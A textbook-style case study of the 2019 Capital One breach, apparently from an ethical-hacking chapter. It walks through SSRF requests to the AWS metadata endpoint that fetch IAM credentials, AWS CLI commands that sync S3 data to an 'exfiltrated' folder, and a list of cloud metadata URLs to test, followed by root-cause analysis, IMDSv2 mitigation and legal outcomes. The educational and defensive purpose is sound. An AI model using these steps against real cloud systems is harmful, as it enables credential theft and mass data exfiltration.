Case Study 1: Capital One SSRF — From a Single SSRF to 100 Million Customer Records

Overview

On July 29, 2019, Capital One Financial Corporation disclosed one of the largest data breaches in financial services history. A former Amazon Web Services employee exploited a Server-Side Request Forgery (SSRF) vulnerability in Capital One's web application firewall (WAF) to access the AWS Instance Metadata Service, obtain temporary security credentials, and exfiltrate over 100 million customer records from Amazon S3 storage. The breach resulted in an $80 million fine from the Office of the Comptroller of the Currency (OCC), a $190 million class-action settlement, and became a landmark case study in cloud security.

Technical Background

Capital One's Cloud Architecture

Capital One was one of the earliest major financial institutions to adopt a cloud-first strategy, migrating significant portions of its infrastructure to Amazon Web Services beginning in 2015. By 2019, the company had moved over 75% of its production workloads to AWS, positioning itself as a leader in financial services cloud adoption.

The architecture relevant to the breach included: - Web Application Firewall (WAF): A ModSecurity-based WAF deployed on EC2 instances that filtered incoming requests before routing them to backend application servers - EC2 Instances: Virtual servers running the WAF and application logic, each assigned IAM roles for accessing AWS services - S3 Buckets: Object storage containing customer data, application data, and various operational artifacts - IAM Roles: Identity and Access Management roles assigned to EC2 instances, granting them specific permissions to access AWS resources - Instance Metadata Service (IMDS): An internal HTTP endpoint (169.254.169.254) available on every EC2 instance, providing instance configuration data and temporary security credentials

The AWS Instance Metadata Service

Every EC2 instance can access the Instance Metadata Service (IMDS) at the link-local address http://169.254.169.254. IMDS provides:

# Instance identity
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/ami-id

# Network configuration
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4

# IAM role credentials (the critical target)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

The IAM credentials endpoint returns temporary AWS access keys:

{
  "Code": "Success",
  "LastUpdated": "2019-07-01T12:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3...",
  "Expiration": "2019-07-01T18:00:00Z"
}

These credentials inherit all permissions assigned to the EC2 instance's IAM role. In Capital One's case, the WAF instances had an IAM role with read access to S3 buckets — a permission necessary for the WAF's legitimate function but catastrophically excessive when exploited.

The Attack Chain

Step 1: SSRF Discovery

The attacker, Paige Thompson (known online as "erratic"), discovered that Capital One's WAF had an SSRF vulnerability. The ModSecurity-based WAF was configured to proxy certain requests, and a misconfiguration allowed an attacker to make the WAF send HTTP requests to arbitrary destinations, including the internal metadata service.

The exact SSRF vector was through a parameter that the WAF processed by making server-side HTTP requests. The attacker crafted requests that caused the WAF to fetch resources from the IMDS:

# Simplified representation of the attack
# The actual exploit used the WAF's specific proxy mechanism
GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: capital-one-waf.example.com

Step 2: Credential Theft via IMDS

Using the SSRF vulnerability, the attacker made the WAF request the IAM credentials endpoint:

# Step 1: Discover the IAM role name
GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
# Response: ISRM-WAF-Role

# Step 2: Retrieve temporary credentials for the role
GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role HTTP/1.1
# Response: AccessKeyId, SecretAccessKey, Token

The temporary credentials provided the same permissions as the WAF EC2 instance — which included read and list access to S3 buckets.

Step 3: S3 Enumeration and Data Exfiltration

With the stolen AWS credentials, the attacker used the AWS CLI from an external system to enumerate and download S3 bucket contents:

# Configure credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalr..."
export AWS_SESSION_TOKEN="IQoJb3..."

# List S3 buckets
aws s3 ls

# List contents of specific buckets
aws s3 ls s3://capital-one-customer-data/

# Download customer data
aws s3 sync s3://capital-one-customer-data/ ./exfiltrated/

Step 4: Data Scope

The exfiltrated data included: - 140,000 Social Security Numbers from US customers - 80,000 bank account numbers from secured credit card customers - 1 million Canadian Social Insurance Numbers - Personal information for approximately 100 million US and 6 million Canadian customers, including names, addresses, zip codes, phone numbers, email addresses, dates of birth, and self-reported income - Credit application data from 2005 through 2019, including credit scores, credit limits, balances, payment history, and contact information

Root Cause Analysis

The SSRF Vulnerability

The root cause was a misconfiguration in the WAF that allowed it to be directed to make HTTP requests to the internal metadata service. This SSRF vulnerability existed because:

  1. Insufficient Input Validation: The WAF did not properly validate or restrict the destinations of server-side HTTP requests
  2. No IMDS Access Restriction: The EC2 instance did not restrict access to the metadata service
  3. No Network-Level Controls: No security group rules or network ACLs prevented the WAF from accessing the metadata service

The IAM Permission Issue

Even after the SSRF allowed access to IMDS, the breach should have been contained if the IAM role had followed the principle of least privilege:

  1. Overly Broad S3 Access: The WAF role had read access to S3 buckets containing sensitive customer data that the WAF did not need to access
  2. No Resource-Level Restrictions: The S3 permissions were not scoped to specific buckets or prefixes
  3. No Condition Restrictions: The IAM policy did not include conditions requiring requests to originate from specific network ranges

Missing Detection

Capital One's security monitoring failed to detect the attack in real-time:

  1. CloudTrail Logging: While AWS CloudTrail logged the S3 API calls, the volume of data accessed and the unusual access patterns were not flagged by automated alerting
  2. No SSRF Detection: The WAF's own traffic was not monitored for SSRF patterns
  3. Credential Usage Monitoring: The temporary credentials were used from an external IP address, but this anomaly was not detected

AWS Response: IMDSv2

The Capital One breach was a primary catalyst for AWS's development and promotion of Instance Metadata Service Version 2 (IMDSv2). IMDSv2 mitigates SSRF-based credential theft by requiring a session token:

# IMDSv1 (vulnerable to SSRF) - Simple GET request
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# IMDSv2 (SSRF-resistant) - Requires PUT with TTL header first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

IMDSv2 mitigates SSRF because: - The token request requires a PUT method with a custom header — most SSRF vulnerabilities can only trigger GET requests - The token has a configurable TTL (Time To Live) limiting its validity window - The response includes a hop limit of 1, preventing token theft through network routing

As of 2024, AWS strongly recommends (and in some cases requires) IMDSv2 for all EC2 instances. Organizations can enforce IMDSv2 by setting HttpTokens=required in the instance metadata options.

Criminal Prosecution

Paige Thompson was arrested on July 29, 2019, the same day Capital One disclosed the breach. She was identified through: - Posting about the breach on social media and Slack channels - GitHub repositories containing the stolen data - Using a VPN service that cooperated with law enforcement

In June 2022, Thompson was convicted of wire fraud, unauthorized access to a protected computer, and damaging a protected computer. In October 2022, she was sentenced to time served plus five years of probation, with the judge citing her mental health challenges and the fact that she did not sell or distribute the stolen data.

Regulatory Action

  • OCC Fine: $80 million for failing to establish effective risk assessment processes prior to migrating to the cloud
  • Class-Action Settlement: $190 million to affected customers
  • Consent Order: Capital One agreed to enhanced security measures, board-level oversight improvements, and regular third-party security assessments

Lessons for Ethical Hackers

SSRF Testing Methodology

The Capital One breach underscores the importance of thorough SSRF testing:

  1. Identify All URL Input Points: Any parameter where the server makes HTTP requests (webhooks, image imports, PDF generation, URL previews)
  2. Test Cloud Metadata Access: Always test for metadata service access when the target is cloud-hosted - AWS: http://169.254.169.254/ - GCP: http://metadata.google.internal/ - Azure: http://169.254.169.254/metadata/identity/oauth2/token
  3. Document the Full Impact Chain: Don't stop at confirming SSRF — demonstrate what the stolen credentials can access
  4. Check IMDSv2 Enforcement: If IMDSv1 is still enabled, this represents a finding even without an SSRF vulnerability

Cloud Security Assessment

  • IAM Policy Review: Evaluate whether IAM roles follow least privilege
  • S3 Bucket Policy Audit: Check for overly permissive bucket policies
  • CloudTrail Monitoring: Verify that API call monitoring and anomaly detection are in place
  • Network Segmentation: Assess whether cloud instances can reach the metadata service and other internal endpoints unnecessarily

Discussion Questions

  1. Capital One was considered a cloud security leader at the time of the breach. What does this suggest about the gap between cloud migration capabilities and cloud security maturity?

  2. The WAF — a security device — was the vulnerability that enabled the breach. What are the security implications of security tools themselves having vulnerabilities?

  3. Evaluate the IAM role assigned to the WAF. What principle was violated, and what would an appropriately scoped IAM policy look like?

  4. Thompson was sentenced to probation despite stealing data on 100 million people. Discuss the factors that influenced this sentencing and whether it represents appropriate justice.

  5. Should cloud providers like AWS bear responsibility for making IMDS accessible by default in a SSRF-exploitable manner? How should the shared responsibility model apply in this case?

  6. Compare IMDSv1 and IMDSv2. Under what (unusual) circumstances might an SSRF vulnerability still be exploitable against IMDSv2?


Return to Chapter 22: Server-Side Attacks